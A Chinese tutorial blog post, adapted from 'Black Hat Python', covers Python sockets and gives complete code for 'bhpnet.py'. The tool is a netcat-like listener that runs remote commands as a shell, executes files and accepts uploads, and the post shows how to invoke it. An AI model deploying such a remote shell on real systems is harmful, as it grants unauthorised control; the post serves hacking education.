没什么比python更时候来做hacking了,一个初学者看完本篇就能马上能够自己写一个netcat!!!嘻嘻。
(本文代码来自《black hat python》,目前没有中文版,看的人也不多,本人对代码稍加整理,改写和测试,再结合一些基础知识的补充,希望对大家有所帮助)
套接字格式:
socket(family,type[,protocal]) 使用给定的地址族、套接字类型、协议编号(默认为0)来创建套接字。
socket类型 | 描述 |
socket.AF_UNIX | 只能够用于单一的Unix系统进程间通信 |
socket.AF_INET | 服务器之间网络通信 |
socket.AF_INET6 | IPv6 |
socket.SOCK_STREAM | 流式socket , for TCP |
socket.SOCK_DGRAM | 数据报式socket , for UDP |
socket.SOCK_RAW | 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。 |
socket.SOCK_SEQPACKET | 可靠的连续数据包服务 |
创建TCP Socket: | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
创建UDP Socket: | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) |
注意点:
1)TCP发送数据时,已建立好TCP连接,所以不需要指定地址。UDP是面向无连接的,每次发送要指定是发给谁。
2)服务端与客户端不能直接发送列表,元组,字典。需要字符串化repr(data)。
import socket import threading bind_ip = "0.0.0.0" bind_port = 9999 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((bind_ip, bind_port)) server.listen(5) print("[*] Listening on %s:%d" % (bind_ip, bind_port)) def handle_client(client_socket): request = client_socket.recv(1024) print("[*] Received: %s" % request) client_socket.send("ACK!") client_socket.close() while True: client, addr = server.accept() print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1])) client_handler = threading.Thread(target=handle_client, args=(client, )) client_handler.start()
看不太懂的对照下上面表格,其实很简单,这边开启了个tcp服务器,只用3行有木有socket(新建),bind(绑定),listen(监听),够帅气吧,然后就是等待客户端的链接啦。
import socket target_host = "127.0.0.1" target_port = 9999 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((target_host, target_port)) client.send("Hello world!") response = client.recv(4096) print(response)
好的,这里就是客户端啦,给服务器发送个hello world打个招呼, 然后就能接受到服务端的返回了。
大家分别在本机执行下服务端和客户端的命令,就能看到他们的简单交互。
很简单对吧。然后接下来是我们的大菜!
#!/usr/bin/env python # -*-coding = utf-8-*- import sys import socket import threading import subprocess import argparse listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 def main(): global listen global port global execute global command global upload_destination global target parser = argparse.ArgumentParser(description="BHP Net Tool") parser.add_argument("-t", "--target", help="the ip or domain of target", default="0.0.0.0") parser.add_argument("-p", "--port", help="the port of ftp", default=0) parser.add_argument("-l", "--listen", action="store_true", help="listen on [host]:[port] for incoming connections") parser.add_argument("-e", "--execute", help="execute the given file upon receiving a connection") parser.add_argument("-c", "--command", action="store_true", help='initialize a command shell') parser.add_argument("-u", "--upload", help="upon receiving connection upload a file and write to [destination]") args = parser.parse_args() listen = args.listen command = args.command target = args.target port = int(args.port) if args.upload: upload_destination = args.upload if args.execute: execute = args.execute if listen: server_loop() elif port > 0: _buffer = sys.stdin.read() client_sender(_buffer) else: print("[*]noting to do") def client_sender(_buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((target, port)) if len(_buffer): client.send(_buffer) while True: recv_len = 1 response = "" while recv_len: data = client.recv(4096) recv_len = len(data) response += data if recv_len < 4096: break print(response) _buffer = raw_input("> ") _buffer += "\n" client.send(_buffer) except Exception as e: print(e) print("[*] Exception! Exiting.") client.close() def server_loop(): global target global port server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target, port)) server.listen(5) print("[*] start BHP server [{}:{}]!".format(target, port)) while True: client_socket, addr = server.accept() client_thread = threading.Thread(target=client_handler, args=(client_socket,)) client_thread.start() def run_command(_command): _command = _command.rstrip() try: output = subprocess.check_output(_command, stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command.\r\n" return output def client_handler(client_socket): global upload global execute global command print('[-] get a connect!') if len(upload_destination): file_buffer = "" while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data try: file_descriptor = open(upload_destination, "wb") file_descriptor.write(file_buffer) file_descriptor.close() client_socket.send("Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send("Failed to save file to %s\r\n" % upload_destination) if len(execute): output = run_command(execute) client_socket.send(output) if command: while True: client_socket.send("<BHP:#> ") cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) response = run_command(cmd_buffer) client_socket.send(response) if __name__ == "__main__": main()
好了,就这么多代码。比上面稍微复杂一点,这边用到了argparse模块,用来获取脚本数据,大家写脚本经常会用到的。这样我们就只要这一个脚本,就能在目标反弹一个shell到本机哦。
主要思路就是在目标建立一个tcp服务器,大家应该很熟练了,然后接受到我们tcp客户端发送的信息当作shell命令执行,然后把输出结果再返回给客户端。
大家可以把脚本保存成bhpnet.py,添加下运行权限,在本机运行测试。
bhpnet.py -t 0.0.0.0 -p 5555 -l -c (目标)
bhpnet.py -t 127.0.0.1 -p 5555 然后按ctrl+D就能进行shell的交互了。 是不是很神奇。大家快试试吧。
【本文由0x5010 投递安全脉搏 转载请注明来源安全脉搏】
本文作者:0x5010
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/40819.html